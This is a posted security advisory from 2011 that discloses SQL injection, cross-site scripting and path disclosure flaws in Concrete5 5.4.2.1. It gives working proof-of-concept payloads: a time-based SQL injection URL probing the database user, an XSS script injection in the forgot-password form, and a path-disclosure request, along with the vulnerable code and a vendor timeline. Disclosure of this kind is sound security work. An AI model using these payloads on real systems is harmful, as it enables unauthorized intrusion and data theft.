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Concrete5 5.4.2.1 Cross Site Scripting / SQL Injection

Concrete5 5.4.2.1 Cross Site Scripting / SQL Injection
Posted Oct 4, 2011
Authored by Ryan Dewhurst

Concrete5 versions 5.4.2.1 and below suffer from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | 90e66f6e357302c9ddab2dd4ea48153d24281424d93a3a2d7d696878ae74a3c8

Concrete5 5.4.2.1 Cross Site Scripting / SQL Injection

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# Exploit Title: Concrete5 <= 5.4.2.1 SQL Injection and XSS Vulnerabilities
# Date: 2011-10-04
# Author: Ryan Dewhurst (ryandewhurst at gmail) (@ethicalhack3r)
(www.ethicalhack3r.co.uk)
# Software Link:
http://sourceforge.net/projects/concretecms/files/concrete5/5.4.2.1/
# Version: 5.4.2.1 (tested)

1.Vulnerability Description

Multiple SQL Injection, Cross-Site Scripting (XSS) and Information
Disclosure vulnerabilities were identified within Concrete5 version
5.4.2.1

Please note: Only a select few vulnerabilities are outlined in this
disclosure, many other vulnerabilities were discovered. Due to time
restraints only a small sample
of the vulnerabilities are outlined below. The vendor was contacted
and replied promptly. Further assistance was asked for but not
delivered due to my time constraints.

2.Software Description

CMS made for Marketing but built for Geeks, concrete5 [0] is a content
management system that is free and open source.

3.SQLi PoC [1] (authenticated user)

http://concrete5.4.2/index.php/dashboard/reports/surveys/?ccm_order_by=numberOfResponses&ccm_order_dir=,(SELECT
BENCHMARK(1000000,MD5(1)) FROM btSurveyResults where CURRENT_USER()
like 'root@localhost' limit 1) --

4.Vulnerable code

File: concrete/controllers/dashboard/reports/surveys.php

class SurveyList extends DatabaseItemList {
protected $itemsPerPage = 10;
protected $autoSortColumns = array('cvName', 'question',
'numberOfResponses', 'lastResponse');

function __construct() {
$this->setQuery(
'select distinct btSurvey.bID,
CollectionVersions.cID, btSurvey.question, CollectionVersions.cvName,
(select max(timestamp) from btSurveyResults where btSurveyResults.bID
= btSurvey.bID and btSurveyResults.cID = CollectionVersions.cID) as
lastResponse, (select count(timestamp) from btSurveyResults where
btSurveyResults.bID = btSurvey.bID and btSurveyResults.cID =
CollectionVersions.cID) as numberOfResponses ' .
'from btSurvey, CollectionVersions,
CollectionVersionBlocks');
$this->filter(false, 'btSurvey.bID =
CollectionVersionBlocks.bID');
$this->filter(false, 'CollectionVersions.cID =
CollectionVersionBlocks.cID');
$this->filter(false, 'CollectionVersionBlocks.cvID =
CollectionVersionBlocks.cvID');
$this->filter(false, 'CollectionVersions.cvIsApproved = 1');
$this->userPostQuery .= 'group by btSurvey.bID,
CollectionVersions.cID';
}
}

5.Cross-Site Scripting (XSS)

Page: http://192.168.1.105/concrete5.4.2/index.php/login/forgot_password/
Parameter: rcID
Method: POST
PoC: "><script>alert(1)</script>

6.Vulnerable Code

File: concrete/single_pages/login.php:

<input type="hidden" name="rcID" value="<?php echo $rcID?>" />

7.Full Path Disclosure (FPD)

http://concrete5.4.2.1/index.php/tools/blocks/page_list/blog_rss?bID=30&cID='&arHandle=Main

8.Vulnerability Timeline

2011-09-06 - Reported to vendor
2011-09-06 - Vendor Reply
2011-09-07 - Vendor Acknowledge Vulnerabilities and asked for
assistance patching. No assistance given apart from the initial report
due to time constraints.
2011-10-04 - Vulnerability Disclosed

9.References

[0] http://www.concrete5.org/
[1] http://www.bonsai-sec.com/blog/index.php/not-the-average-sql-injection/


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